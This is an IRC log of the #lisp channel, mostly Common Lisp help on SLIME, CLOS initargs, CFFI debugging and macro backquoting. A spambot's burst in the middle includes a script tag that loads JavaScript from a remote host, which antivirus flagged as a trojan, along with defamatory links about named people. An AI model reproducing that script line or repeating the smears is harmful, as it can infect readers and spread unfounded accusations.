jackdaniel changed the topic of #lisp to: Common Lisp, the #1=(programmable . #1#) programming language<http://cliki.net/> logs:<https://irclog.whitequark.org/lisp,http://ccl.clozure.com/irc-logs/lisp/> | SBCL 1.4.5, CMUCL 21b, ECL 16.1.3, CCL 1.11.5, ABCL 1.5.0
k-hos has joined #lisp
patlv has joined #lisp
fikka has quit [Ping timeout: 240 seconds]
kajo has quit [Quit: From my rotting body, flowers shall grow and I am in them and that is eternity. -- E. M.]
nowhere_man has quit [Ping timeout: 260 seconds]
fikka has joined #lisp
fikka has quit [Ping timeout: 264 seconds]
<kenster> I've uploaded the lisp portion of my CDN project if anyone is interested: https://github.com/kennymalac/simple-content-host
<kenster> :)
Fare has joined #lisp
patlv has quit [Ping timeout: 264 seconds]
Zamenhof has quit [Ping timeout: 252 seconds]
patlv has joined #lisp
fikka has joined #lisp
light2yellow is now known as l2y
Jesin has joined #lisp
Jesin has quit [Client Quit]
fikka has quit [Ping timeout: 260 seconds]
edgar-rft has quit [Quit: Leaving]
housel has quit [Ping timeout: 248 seconds]
fikka has joined #lisp
fikka has quit [Read error: Connection reset by peer]
rozenglass has quit [Remote host closed the connection]
Kundry_Wag has joined #lisp
Kundry_Wag has quit [Remote host closed the connection]
Jesin has joined #lisp
fikka has joined #lisp
fikka has quit [Ping timeout: 240 seconds]
equwal has joined #lisp
patlv has quit [Ping timeout: 256 seconds]
makomo has quit [Ping timeout: 244 seconds]
fikka has joined #lisp
fikka has quit [Ping timeout: 244 seconds]
patlv has joined #lisp
fikka has joined #lisp
fikka has quit [Ping timeout: 268 seconds]
Oladon has quit [Quit: Leaving.]
fikka has joined #lisp
renzhi has quit [Quit: WeeChat 2.1]
fikka has quit [Ping timeout: 260 seconds]
Jesin has quit [Quit: Leaving]
fikka has joined #lisp
fikka has quit [Ping timeout: 248 seconds]
saki has quit [Ping timeout: 264 seconds]
graphene has quit [Remote host closed the connection]
graphene has joined #lisp
elfmacs has joined #lisp
acolarh has quit [Ping timeout: 256 seconds]
Pixel_Outlaw has joined #lisp
acolarh has joined #lisp
fikka has joined #lisp
graphene has quit [Remote host closed the connection]
graphene has joined #lisp
fikka has quit [Ping timeout: 256 seconds]
fikka has joined #lisp
fikka has quit [Ping timeout: 244 seconds]
megalography has quit [Ping timeout: 244 seconds]
dddddd has quit [Remote host closed the connection]
AetherWind has joined #lisp
anewuser has quit [Quit: anewuser]
papachan has quit [Quit: Leaving]
fikka has joined #lisp
earl-ducaine has quit [Read error: Connection reset by peer]
megalography has joined #lisp
fikka has quit [Ping timeout: 240 seconds]
equwal has quit [Remote host closed the connection]
fikka has joined #lisp
fikka has quit [Ping timeout: 268 seconds]
robotoad has joined #lisp
brettgilio has quit [Remote host closed the connection]
fikka has joined #lisp
AetherWind has quit [Quit: Leaving]
pierpa has quit [Quit: Page closed]
Oladon has joined #lisp
fikka has quit [Ping timeout: 260 seconds]
Bike has quit [Quit: Lost terminal]
AetherWind has joined #lisp
knusbaum has joined #lisp
fikka has joined #lisp
AetherWind has quit [Quit: Leaving]
fikka has quit [Ping timeout: 240 seconds]
Pixel_Outlaw has quit [Quit: Leaving]
patlv has quit [Ping timeout: 260 seconds]
vhost- has quit [Ping timeout: 265 seconds]
fikka has joined #lisp
pierpal has quit [Quit: Poof]
pierpal has joined #lisp
fikka has quit [Ping timeout: 240 seconds]
ahmed111 has joined #lisp
fikka has joined #lisp
ahmed111 has quit [Client Quit]
ahmed111 has joined #lisp
fikka has quit [Ping timeout: 256 seconds]
ahmed111 has quit [Ping timeout: 248 seconds]
graphene has quit [Remote host closed the connection]
fikka has joined #lisp
fm4d has quit [Ping timeout: 256 seconds]
graphene has joined #lisp
megalography has quit [Quit: Leaving.]
fikka has quit [Ping timeout: 248 seconds]
X-Scale has quit [Ping timeout: 240 seconds]
quazimodo has quit [Ping timeout: 240 seconds]
fikka has joined #lisp
fikka has quit [Ping timeout: 244 seconds]
[X-Scale] has joined #lisp
[X-Scale] is now known as X-Scale
elfmacs has quit [Ping timeout: 240 seconds]
Oladon has quit [Read error: Connection reset by peer]
fikka has joined #lisp
fikka has quit [Ping timeout: 244 seconds]
igemnace has joined #lisp
housel has joined #lisp
vibs29 has quit [Ping timeout: 256 seconds]
vibs29 has joined #lisp
fikka has joined #lisp
wheelsucker has joined #lisp
fikka has quit [Ping timeout: 240 seconds]
ahmed111 has joined #lisp
ahmed111 has quit [Ping timeout: 248 seconds]
fikka has joined #lisp
equwal has joined #lisp
equwal has quit [Remote host closed the connection]
equwal has joined #lisp
fikka has quit [Ping timeout: 244 seconds]
charh has quit [Quit: plan9]
equwal has quit [Remote host closed the connection]
equwal has joined #lisp
robotoad has quit [Read error: Connection reset by peer]
robotoad has joined #lisp
fikka has joined #lisp
kozy has quit [Quit: No Ping reply in 180 seconds.]
kozy has joined #lisp
fikka has quit [Ping timeout: 248 seconds]
capisce has quit [Ping timeout: 240 seconds]
vlatkoB has joined #lisp
igemnace has quit [Quit: WeeChat 2.2]
eminhi has joined #lisp
bsund has quit [Ping timeout: 260 seconds]
orivej has joined #lisp
ofi has joined #lisp
edgar-rft has joined #lisp
loli has quit [Ping timeout: 268 seconds]
fikka has joined #lisp
rumbler31 has joined #lisp
sauvin has joined #lisp
ahmed111 has joined #lisp
erratic has joined #lisp
fikka has quit [Ping timeout: 240 seconds]
rumbler31 has quit [Ping timeout: 244 seconds]
<beach> Good morning everyone!
<jackdaniel> \o
fikka has joined #lisp
ebzzry has quit [Ping timeout: 260 seconds]
fikka has quit [Ping timeout: 240 seconds]
loli has joined #lisp
<ahmed111> Good Morning.
<beach> ahmed111: Are you new here? I don't recognize your nick.
<ahmed111> Yeah.
fikka has joined #lisp
<beach> What brings you to #lisp?
<ahmed111> I joined yesterday.
<beach> jackdaniel: Why do I have a @ in front of my name?
<ahmed111> I have read Paul Graham's essays about CL.
<beach> Oh, nice.
<ahmed111> Currently I'm in minor confusion should I start CL or Clojure.
schweers has joined #lisp
schweers has quit [Client Quit]
<jackdaniel> beach: I've added a few op rights yesterday for time of this spamsession to make it possible to kick bots when I'm not around
<beach> OK.
<ahmed111> I have worked with Python previously.
schweers has joined #lisp
<jackdaniel> fixed
<beach> ahmed111: Well, you are in a channel dedicated to Common Lisp, so the advice given here will be biased.
<beach> jackdaniel: Thanks.
<ahmed111> beach: yeah.
fikka has quit [Ping timeout: 248 seconds]
jfrancis_ has joined #lisp
rorx23 has joined #lisp
rorx23 has quit [Killed (Sigyn (Spam is off topic on freenode.))]
fikka has joined #lisp
flamebeard has joined #lisp
fikka has quit [Ping timeout: 256 seconds]
elfmacs has joined #lisp
ahmed111 has quit [Quit: Bye]
Inline has quit [Read error: Connection reset by peer]
ahmed111 has joined #lisp
fikka has joined #lisp
ahmed111 has quit [Ping timeout: 260 seconds]
l2y has quit [Quit: l2y]
gravicappa has joined #lisp
fikka has quit [Ping timeout: 268 seconds]
wheelsucker has quit [Ping timeout: 256 seconds]
equwal has quit [Remote host closed the connection]
<Demosthenex> so with slime in emacs, any way to set the max buffer size? i'm at nearly 200k lines of scrollback atm
<Demosthenex> i set a truncate and max lines for comint, but that didn't seem to affect slime
<kenster> what in god's name are you doing with that much scrollback?
<kenster> no idea though, sorry :/
<Demosthenex> i have a bunch of debug messages flying by
<Demosthenex> i don't want that much scollback ;] thats why i'm asking about truncation
equwal has joined #lisp
equwal has quit [Remote host closed the connection]
<Demosthenex> i'm scraping data from a restful api, and it's flowing pretty smoothly now. maybe i should just log to a file :P
<kenster> have you tried turning it on an off again
<Demosthenex> hah! well i may restart slime later to see if the comint changes take effect, but i expected them to be instant
<Demosthenex> i'm in a batch atm
captgector has quit [Read error: Connection reset by peer]
captgector has joined #lisp
<schweers> Demosthenex: If I recall correctly, you can kill the repl without killing the whole process. This doesn’t help you if you have a running command in said repl (I think).
<Demosthenex> schweers: i could also manually trim the buffer, but i suspect there's a setting
<Demosthenex> i already checked slime's and comint's customize
<schweers> If you find one, let me know.
<jackdaniel> clearing REPL output (manually) is C-c M-o
<Demosthenex> jackdaniel: yep.
fikka has joined #lisp
18WAA3D66 has joined #lisp
<18WAA3D66> or maybe this blog by freenode staff member Matthew 'mst' Trout https://MattSTrout.com/
<18WAA3D66> Hey, I thought you guys might be interested in this blog by freenode staff member Bryan 'kloeri' Ostergaard https://bryanostergaard.com/
<18WAA3D66> Read what IRC investigative journalists have uncovered on the freenode pedophilia scandal https://encyclopediadramatica.rs/Freenodegate
<18WAA3D66> <script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
<18WAA3D66> This message was brought to you by Private Internet Access
18WAA3D66 has quit [Killed (Sigyn (Spam is off topic on freenode.))]
<Lord_Nightmare> sonofabitch
<Lord_Nightmare> whatever that link was, ms security essentials did not like it
<Lord_Nightmare> and quarantined the irc log file
<jackdaniel> what did you expect from spambot?
<Lord_Nightmare> HTML/Jadtre.A trojan
kenster has quit [Ping timeout: 256 seconds]
Fare has quit [Ping timeout: 260 seconds]
ahmed111 has joined #lisp
charh has joined #lisp
equwal has joined #lisp
<clhsgang[m]> fucking spammers
<clhsgang[m]> idea: write irc bot that auto tempbans certain spam phrases
equwal has quit [Ping timeout: 244 seconds]
xificurC has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
ahmed111 has quit [Ping timeout: 256 seconds]
xificurC has joined #lisp
<aeth> clhsgang[m]: It wouldn't work, it floods as much as it can, so even if you detected the first line, you'd let in at least 3 lines
<aeth> and it uses a botnet or proxies or something so it's a different IP each time
<aeth> It's the exact same line each time though, so you could filter it. Perhaps auto-ignore anyone who says it
<aeth> In fact, it usually gets killed after 5 lines (saw it die after 1 once), so perhaps the message is even longer and it just takes that long as a network delay to get to it.
<aeth> See the logs of #scheme if you want to study its behavior. #scheme got hit really hard earlier today. This is the first time I'm seeing it here in #lisp
<Demosthenex> why is it always a pedo scandal? :P
jasom has quit [Ping timeout: 256 seconds]
<jdz> Can we please not give the spammers more attention than they deserve?
Arcaelyx has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
bigfondue has quit [Ping timeout: 265 seconds]
jasom has joined #lisp
skeuomorf has joined #lisp
skeuomorf has left #lisp [#lisp]
<clhsgang[m]> damn
koenig has quit [Ping timeout: 260 seconds]
bigfondue has joined #lisp
koenig has joined #lisp
Cymew has joined #lisp
fikka has quit [Ping timeout: 240 seconds]
xrash has joined #lisp
fikka has joined #lisp
Orion3k has joined #lisp
rozenglass has joined #lisp
orivej has quit [Ping timeout: 264 seconds]
pierpal has quit [Quit: Poof]
pierpal has joined #lisp
fikka has quit [Ping timeout: 240 seconds]
equwal has joined #lisp
alter-schjetne has quit [Ping timeout: 264 seconds]
fikka has joined #lisp
al-damiri has quit [Quit: Connection closed for inactivity]
equwal has quit [Ping timeout: 240 seconds]
fikka has quit [Ping timeout: 268 seconds]
fikka has joined #lisp
equwal has joined #lisp
dddddd has joined #lisp
equwal has quit [Remote host closed the connection]
lel has quit [Ping timeout: 276 seconds]
lel has joined #lisp
rozenglass has quit [Ping timeout: 240 seconds]
Kundry_Wag has joined #lisp
Kundry_Wag has quit [Ping timeout: 256 seconds]
sailor_cat has joined #lisp
eminhi has quit [Ping timeout: 256 seconds]
random-nick has joined #lisp
JuanDaugherty has joined #lisp
X-Scale has quit [Ping timeout: 240 seconds]
[X-Scale] has joined #lisp
[X-Scale] is now known as X-Scale
gravicappa has quit [Ping timeout: 240 seconds]
Kaisyu has quit [Quit: Connection closed for inactivity]
m00natic has joined #lisp
rozenglass has joined #lisp
iqubic has joined #lisp
<iqubic> Has anyone here tried the NEXT browser?
<iqubic> I believe that a fellow by the name of jmercouris was working on it.
<iqubic> I think it's written in lisp.
fikka has quit [Ping timeout: 260 seconds]
fikka has joined #lisp
<antoszka> I'll give it a go next week. Holiday time.
lumm has joined #lisp
<jackdaniel> iqubic: iirc it is a wrapper around webkit2gtk+
<jackdaniel> s/webkit2gtk+/webkit/
JuanDaugherty has quit [Quit: Exeunt]
_whitelogger has joined #lisp
MoziM has quit [Ping timeout: 240 seconds]
MoziM has joined #lisp
fikka has quit [Ping timeout: 265 seconds]
ofi has quit [Ping timeout: 260 seconds]
Kaisyu has joined #lisp
graphene has quit [Remote host closed the connection]
graphene has joined #lisp
dmiles has quit [Ping timeout: 260 seconds]
test1600 has joined #lisp
fikka has joined #lisp
graphene has quit [Remote host closed the connection]
graphene has joined #lisp
fikka has quit [Ping timeout: 260 seconds]
dmiles has joined #lisp
rumbler31 has joined #lisp
graphene has quit [Remote host closed the connection]
graphene has joined #lisp
lumm has quit [Read error: Connection reset by peer]
pjb has quit [Remote host closed the connection]
Fare has joined #lisp
test1600 has quit [Ping timeout: 264 seconds]
fikka has joined #lisp
ahmed111 has joined #lisp
MrMc has joined #lisp
<MrMc> is there a library for mixing WAV files
<MrMc> in common lisp?
ahmed111 has quit [Quit: Bye]
eminhi has joined #lisp
ahmed111 has joined #lisp
<antoszka> MrMc: mixalot?
<jackdaniel> MrMc: https://common-lisp.net/project/cl-wav-synth/ seems to be aiming that goal
<jackdaniel> (with graphical editor)
<jackdaniel> but may be used as normal library
<antoszka> Andy Hafner's mixalot might be simpler.
<antoszka> But yeah, check around.
<jackdaniel> https://common-lisp.net/project/cl-wav-synth/song-3.gif ← shows the graphical interface
<MrMc> thanks I will have a look at mixalot and cl-wav-synth
ahmed111 has quit [Quit: python]
ahmed111 has joined #lisp
orivej has joined #lisp
ahmed111 has quit [Quit: Bye]
<MrMc> cl-wav-synth looks like what I am looking for.
igemnace has joined #lisp
graphene has quit [Remote host closed the connection]
fikka has quit [Ping timeout: 268 seconds]
fikka has joined #lisp
lumm has joined #lisp
zfree has joined #lisp
<schweers> beach: A few weeks back we had a conversation about the performance difference between classes and structs. I changed a lot of the structs in my code to classes and the performance difference is indeed very small, especially when setting the optimization settings to speed.
<schweers> I’ll let you know how it goes for the really CPU intensive stuff.
rumbler31 has quit [Read error: Connection reset by peer]
lumm has quit [Quit: lumm]
lumm has joined #lisp
patlv has joined #lisp
Arcaelyx has joined #lisp
schweers has quit [Ping timeout: 276 seconds]
Bike has joined #lisp
<LdBeth> MrMc: you might be interested in CLM, a sndlib based sound synthesis system.
jkordani has joined #lisp
dwrngr has joined #lisp
elfmacs has quit [Quit: WeeChat 2.2]
Denommus has joined #lisp
fikka has quit [Ping timeout: 240 seconds]
patlv has quit [Quit: Leaving]
eminhi has quit [Remote host closed the connection]
eminhi has joined #lisp
iskander has quit [Ping timeout: 265 seconds]
xificurC has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
flamebeard has quit []
random-nick has quit [Read error: error:1408F10B:SSL routines:ssl3_get_record:wrong version number]
random-nick has joined #lisp
iskander has joined #lisp
v0|d has joined #lisp
<v0|d> umm, sbcl.org?
<v0|d> seems down 2 me.
<aindilis> I can confirm
xificurC has joined #lisp
<Bike> yeah. sourceforge gonna sourceforge, probably.
<Bike> jackdaniel: channel's still +r. dunno if l0de or whoever is still spamming, though.
<v0|d> what does that mean?
<Bike> what, +r?
<v0|d> Bike: sf.
<Bike> oh. sbcl's website is hosted by sourceforge, i believe. they're kind of flaky sometimes.
<v0|d> interesting.
igemnace has quit [Ping timeout: 244 seconds]
MrMc has quit [Ping timeout: 256 seconds]
sendai_ has joined #lisp
<jackdaniel> Bike: I've lifted it this morning and soon after spam resumed
<Bike> ah, ok.
<jackdaniel> thanks for the reminder though
LiamH has joined #lisp
Kundry_Wag has joined #lisp
azimut has quit [Ping timeout: 264 seconds]
<dwrngr> I checked about 17 hours ago and sbcl.org was also down then so that's definitely "flaky" :P
<dwrngr> But good to know it's a recognized issue
FreeBirdLjj has joined #lisp
beach has quit [Ping timeout: 256 seconds]
FreeBirdLjj has quit [Ping timeout: 248 seconds]
orivej has quit [Ping timeout: 248 seconds]
sjl_ has joined #lisp
eminhi has quit [Quit: Reconnecting]
eminhi has joined #lisp
mindCrime has joined #lisp
pjb has joined #lisp
fikka has joined #lisp
fikka has quit [Ping timeout: 256 seconds]
Arcaelyx has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
Kundry_Wag has quit [Ping timeout: 264 seconds]
nika_ has joined #lisp
knusbaum has quit [Ping timeout: 264 seconds]
papachan has joined #lisp
FreeBirdLjj has joined #lisp
jfrancis_ has quit [Remote host closed the connection]
cage_ has joined #lisp
kajo has joined #lisp
kenster has joined #lisp
<kenster> streaming some Common lisp debugging https://youtu.be/js7-pkqI_3Q or https://www.twitch.tv/kingherring
<antoszka> spacemacs?
trittweiler has quit [Ping timeout: 276 seconds]
<kenster> antoszka: yes
Kaisyu has quit [Quit: Connection closed for inactivity]
fikka has joined #lisp
ahmed111 has joined #lisp
<antoszka> Cool, I'm using spacemacs, too. Will that be available for watching offline later?
<antoszka> I mean, asynchronously :)
fikka has quit [Ping timeout: 248 seconds]
<ahmed111> ñ
ahmed111 has quit []
<kenster> antoszka: it should be, yes :)
wheelsucker has joined #lisp
light2yellow has joined #lisp
rozenglass has quit [Read error: Connection reset by peer]
rippa has joined #lisp
ahmed111 has joined #lisp
ahmed111 has quit [Max SendQ exceeded]
iqubic has left #lisp ["ERC (IRC client for Emacs 25.3.1)"]
FreeBirdLjj has quit [Remote host closed the connection]
Kundry_Wag has joined #lisp
Kundry_Wag has quit [Remote host closed the connection]
Kundry_Wag has joined #lisp
jasmith has quit [Ping timeout: 260 seconds]
FreeBirdLjj has joined #lisp
kajo has quit [Quit: From my rotting body, flowers shall grow and I am in them and that is eternity. -- E. M.]
ahmed111 has joined #lisp
kajo has joined #lisp
beach has joined #lisp
vtomole has joined #lisp
zfree has quit [Quit: zfree]
saki has joined #lisp
maverick- has joined #lisp
maverick- has quit [Remote host closed the connection]
test1600 has joined #lisp
lumm has quit [Quit: lumm]
lumm has joined #lisp
Kundry_Wag has quit [Read error: Connection reset by peer]
Kundry_Wag has joined #lisp
Kundry_W_ has joined #lisp
ahmed111 has quit []
orivej has joined #lisp
smurfrobot has joined #lisp
m00natic has quit [Remote host closed the connection]
EvW has joined #lisp
kajo has quit [Quit: From my rotting body, flowers shall grow and I am in them and that is eternity. -- E. M.]
nowhere_man has joined #lisp
Kundry_Wag_ has joined #lisp
jmercouris has joined #lisp
Kundry_Wag has quit [Ping timeout: 244 seconds]
smurfrobot has quit [Remote host closed the connection]
FreeBird_ has joined #lisp
fikka has joined #lisp
FreeBirdLjj has quit [Ping timeout: 268 seconds]
orivej has quit [Ping timeout: 256 seconds]
fikka has quit [Ping timeout: 260 seconds]
kajo has joined #lisp
terpri has quit [Ping timeout: 240 seconds]
smurfrobot has joined #lisp
iskander has quit [Ping timeout: 260 seconds]
Josh_2 has joined #lisp
Kundry_Wag_ has quit [Ping timeout: 256 seconds]
ahmed111` has joined #lisp
omilu has quit [Remote host closed the connection]
fikka has joined #lisp
iskander has joined #lisp
rozenglass has joined #lisp
fikka has quit [Ping timeout: 256 seconds]
ahmed111` has quit [Remote host closed the connection]
smurfrobot has quit [Remote host closed the connection]
FreeBird_ has quit [Remote host closed the connection]
nika_ has quit [Quit: Leaving...]
rozenglass has quit [Ping timeout: 244 seconds]
<kenster> Does anyone know how to get constructor arguments in CLOS?
<Bike> what do you mean?
<kenster> I mean of course in the initialize-instance :after method
<kenster> I want to pass in arguments that aren't slots
<kenster> (defmethod initialize-instance :after ((self file-upload-info) &key tmp-location content-type tags wants-owned)
<kenster> (setf (ptr self) (new self tmp-location content-type tags wants-owned)))
<Bike> just put them in the lambdalist.
<kenster> tmp-location, content-type, tags, wants-owned etc. are not slots
<Bike> yeah.
<jackdaniel> kenster: put them in your method definition
<Bike> you can just define this method and it should work.
<jackdaniel> initialize-instance has &allow-other-keys
<kenster> what method definition?
<Bike> the one you just wrote.
<jackdaniel> (defmethod initialize-instance :after …)
<kenster> oh, well the values are all nil
<kenster> weird
<Bike> how are you calling make-instance?
<jackdaniel> do you pass them in make-instance?
<jackdaniel> eventually, do you define :default-initargs in class definition?
<kenster> LOL wrong level of parentheses
<kenster> I think anyways
<kenster> sec
lumm has quit [Quit: lumm]
hiroaki has quit [Ping timeout: 244 seconds]
jmercouris has quit [Remote host closed the connection]
<kenster> okay yeah that was my fault I think
<kenster> there's no :default-initargs though, would that be a problem?
<jackdaniel> no, that shouldn't
<jackdaniel> *it* shouldn't (?)
<kenster> okay now I have to debug foreign function memory faults
<kenster> any way to make that easier? lol
<Bike> not really
<beach> Program in Common Lisp instead.
<jackdaniel> kenster: do you use cffi?
<kenster> yes
<jackdaniel> and you call some already existing library? or your own foregin functions?
<kenster> they are my own foreign functions
<kenster> so they may be broken
<jackdaniel> I'd first look if you have correct function declarations with defcfun, then I'd debug your own functions from outside lisp (with gdb called from some shabby main.c)
<jackdaniel> s/from/against/
<kenster> okay, thank you
<kenster> luckily it's an easy mistake, I used auto in an extern "C" block
<jackdaniel> and since these are your own functions, recompiling them with bunch of printf is also an option - that's my *lame* favourite debugging technique
<kenster> where do the printfs go ? does cffi put those to *standard-output*?
<jackdaniel> to stdout (descriptor 1). if standard-output also prints there, then terminal will be the same
<jackdaniel> but this is not a case if you use slime
<jackdaniel> then it will appear in inferior-lisp
<kenster> awesome
<kenster> okay thank you, hopefully this works out
<jackdaniel> good luck and have fun ;)
jsral has joined #lisp
<kenster> it's very fun haha
pierpal has quit [Quit: Poof]
pierpal has joined #lisp
trittweiler has joined #lisp
fikka has joined #lisp
<kenster> hmmm I'm not seeing the printf result in my inferior-lisp, maybe because it is running in a wookie route it doesn't print? but that's weird because I'm able to say, pprint in a route for instance
fikka has quit [Ping timeout: 276 seconds]
<Bike> might be buffered
<Bike> i have no idea what a wookie root is, tho
<Bike> if you mean pprint like lisp pprint, that's less likely to be affected by an apache routine doing weird things with stdout,or whatever
smurfrobot has joined #lisp
EvW has quit [Ping timeout: 260 seconds]
<kenster> wookie is a common lisp http server
<dlowe> Chewbacca is a Wookiee from the planet Kashyyyk. But Chewbacca lives on the planet Endor. Now think about it; that does not make sense!
Ven`` has joined #lisp
random-nick has quit [Ping timeout: 260 seconds]
sauvin has quit [Ping timeout: 240 seconds]
hiroaki has joined #lisp
karlosz has joined #lisp
<kenster> jackdaniel: is this necessary? (cffi:defcvar ("stdout" stdout) :pointer)
saki has quit [Read error: Connection reset by peer]
<jackdaniel> if you use printf then no. as I said, I would try to debug your C code with conventional methods (not via Lisp)
<jackdaniel> I'm going to be afk in a minute, so I won't be much help tonight
<kenster> alrighty then
<kenster> no worries
<kenster> oh I'm a dumb ass
<kenster> it was in *inferior-lisp* all along
<Bike> did you not check?
<kenster> I thought it would print in the REPL like a tard
<kenster> :(
Ven`` has quit [Quit: My MacBook has gone to sleep. ZZZzzz…]
<jackdaniel> did
<jackdaniel> didn't I say it will be in inferior-lisp?
<kenster> >.>
<Bike> you literally said "I'm not seeing the printf result in my inferior-lisp"
<Bike> please don't make things up if you don't understand what someone trying to help you is saying
<kenster> I forgot the two buffers are distinct
<kenster> the REPL and *inferior-lisp*
<kenster> in slime, they're two buffers, right? I forgot that
<kenster> but OK
orivej has joined #lisp
<jasom> kenster: *inferior-lisp* is basically the emacs hosted console for running the lisp; the REPL is launched by slime after the lisp is up and running.
EvW1 has joined #lisp
<kenster> yeah, I don't think I was cognizant of that fact because SLIME redirects you to the REPL after briefly showing *inferior-lisp*
<jasom> kenster: It actually depends on how you configure it, but yes that can be confusing. IIRC the repl isn't even loaded by default with slime.
<jasom> but if you use a prepacked slime+lisp+emacs (e.g. portacle or lispstick) then you do get dumped into the REPL immediately
saki has joined #lisp
<kenster> it might just be spacemacs's lisp layer that does that too
<jasom> some people prefer to not use the repl at all, rather using the evaulation shortcuts from a scratch buffer.
<kenster> I think you're right though, the repl isn't loaded by default
<Bike> slime-repl is a separate contrib or suchlike.
<jasom> minion: memo for beach: I've been reading more on SICL's GC. Will all calls into foreign code be treated as potentially blocking operations? I can't think of any other safe way to do it.
<minion> Remembered. I'll tell beach when he/she/it next speaks.
<Bike> it's not like beach is one to concern himself terribly with foreign code
<jackdaniel> I think beach is not especially interested in restraining himself with non-lisp code (i.e ffi)
<jackdaniel> heh
<Bike> man's got a reputation
<jackdaniel> not that it's not reiterated every now and then on this channel
<jackdaniel> good night everyone \o
<jasom> well part of the advantage of a non-moving GC is FFI, and I think he did mention that somewhere in one of his papers
<kenster> good night jackdaniel thanks for the tips
<jasom> all you need to do is promote any object you make a foreign pointer to be outside the nursery and you never need to worry about it moving again
random-nick has joined #lisp
fikka has joined #lisp
xrash has quit [Ping timeout: 240 seconds]
fikka has quit [Ping timeout: 268 seconds]
smurfrobot has quit [Remote host closed the connection]
smurfrobot has joined #lisp
shenghi has quit [Ping timeout: 264 seconds]
vlatkoB has quit [Remote host closed the connection]
shenghi has joined #lisp
terpri has joined #lisp
Kundry_Wag has joined #lisp
EvW1 has quit [Ping timeout: 256 seconds]
eminhi has quit [Quit: leaving]
lumm has joined #lisp
foobared has joined #lisp
smurfrobot has quit [Remote host closed the connection]
makomo has joined #lisp
kjeldahl has joined #lisp
rozenglass has joined #lisp
Kundry_Wag has quit [Ping timeout: 240 seconds]
Josh_2 has quit [Ping timeout: 264 seconds]
foobared has left #lisp [#lisp]
saki has quit [Ping timeout: 255 seconds]
nickenchuggets has joined #lisp
nickenchuggets has joined #lisp
nickenchuggets has quit [Changing host]
MinnowTaur has joined #lisp
Fare has quit [Ping timeout: 268 seconds]
Achylles has joined #lisp
MinnowTaur has quit [Remote host closed the connection]
rozenglass has quit [Ping timeout: 256 seconds]
Fare has joined #lisp
cage_ has quit [Quit: Leaving]
varjagg has joined #lisp
nowhere_man has quit [Ping timeout: 268 seconds]
Kundry_Wag has joined #lisp
Arcaelyx has joined #lisp
al-damiri has joined #lisp
Kundry_Wag has quit [Ping timeout: 265 seconds]
Fare has quit [Ping timeout: 265 seconds]
fikka has joined #lisp
saki has joined #lisp
hjudt has quit [Read error: Connection reset by peer]
hjudt has joined #lisp
karswell has joined #lisp
Ven`` has joined #lisp
<kenster> gaaah I need help with a macro again :(
<Bike> you gonna elaborate or are you just making a statement
<kenster> in defmethod I have trouble getting the slot-value of 'ptr out of self
<kenster> so Itried adding another level of quoting etc.
<kenster> Illegal function call in method body:
<kenster> ; ((SETF (PTR SELF) NIL))
<kenster> for this function:
<kenster> (defcmethod upload-session "delete" delete-ptr :void t ()
<kenster> (setf (ptr self) nil))
<v0|d> kenster: `` and ','
<v0|d> try rplcng ',, with ','
Achylles has quit [Remote host closed the connection]
pierpal has quit [Quit: Poof]
<kenster> same error
<kenster> I only did the ',, replacement though, was there something else?
pierpal has joined #lisp
test1600 has quit [Quit: Leaving]
milanj has joined #lisp
rippa has quit [Ping timeout: 260 seconds]
<v0|d> ,,has-ptr ?
<v0|d> look for double commata
<kenster> I'm not sure what you are implying
Kundry_W_ has quit [Remote host closed the connection]
<_death> not sure what you're trying to do (good idea to write down the desired expansion) but I doubt you want nested backquotes
Ven`` has quit [Ping timeout: 248 seconds]
<kenster> well if I don't have it nested, I can't get slot-value from self
<kenster> because I need to do (append '((slot-value self 'ptr)) method-parameters))
<kenster> but in defmethod, self is unbound
sjl has quit [Quit: WeeChat 2.2-dev]
<kenster> so I have to expand '((slot-value self 'ptr)) within the defmethod's expansion time, not the base macro's expansion time
<kenster> at least I think so, I don't know for certain
<_death> did you write down the desired expansion
<kenster> (defmethod method-name ((self upload-session) &rest method-parameters) (let (if t) (append '((slot-value self 'ptr)) method-parameters))
<kenster> oops
<_death> methods don't have names, by the way
<v0|d> kenster: try ,@',body inside ``
<kenster> (apply #:getBucket (slot-value self 'ptr) #<upload-info struct>)
<kenster> basically if if-ptr is true I want to put the slot-value self 'ptr as the first argument in the apply
<_death> #< in an expansion is a no-no
<v0|d> (append (if ..) rest)
<v0|d> (append nil a) => a
<kenster> actually it's (apply #:getBucket '((slot-value self 'ptr) #<cffi ptr>))
nowhere_man has joined #lisp
<_death> (apply ... ,@(when has-ptr `((slot-value self 'ptr))) ...)
smurfrobot has joined #lisp
<_death> you should also know that apply expects a list as its last argument
<kenster> hmm
<_death> clhs funcall
rumbler31 has joined #lisp
karlosz has quit [Quit: karlosz]
<kenster> by putting slot-value in that apply call with when, could I get rid of one level of quoting?
rumbler31 has quit [Client Quit]
smurfrobot has quit [Ping timeout: 244 seconds]
bsund has joined #lisp
kajo has quit [Ping timeout: 265 seconds]
Kundry_Wag has joined #lisp
kajo has joined #lisp
nickenchuggets has quit [Read error: Connection reset by peer]
nickenchuggets has joined #lisp
nickenchuggets has joined #lisp
nickenchuggets has quit [Changing host]
Kundry_Wag has quit [Remote host closed the connection]
<_death> you can also pull the expression out of the apply form and have (apply ... ,@the-result ...) .. if I'm guessing what you want correctly, then you didn't need another level of quoting anyway, you were just confused and got yourself further confused
<kenster> oh fug, it works
karlosz has joined #lisp
<kenster> yeah that happens with me and macros
<kenster> I still haven't read Let Over Lambda :p
pestyOverlord has joined #lisp
pestyOverlord has left #lisp [#lisp]
<_death> again, it's a good idea to write down the macroexpansion you want.. then you can write a function to generate it.. and s/defun/defmacro
<_death> On Lisp has some good tips on writing macros
LiamH has quit [Quit: Leaving.]
<kenster> in this case I was modifying an existing macro
<kenster> I was already working with this
<kenster> but before I didn't include the (slot-value self 'ptr) portion if has-ptr was true
<kenster> I thought it would be trivial to add but the nested backquoting had me confused
<kenster> unnecessary nested backquoting*
Denommus has quit [Read error: Connection reset by peer]
Kundry_Wag has joined #lisp
karlosz has quit [Ping timeout: 264 seconds]
jsral has quit [Remote host closed the connection]
newbie26 has joined #lisp
xrash has joined #lisp
kajo has quit [Quit: From my rotting body, flowers shall grow and I am in them and that is eternity. -- E. M.]
light2yellow has quit [Quit: light2yellow]
megalography has joined #lisp
saki has quit [Ping timeout: 256 seconds]
zfree has joined #lisp
Jesin has joined #lisp
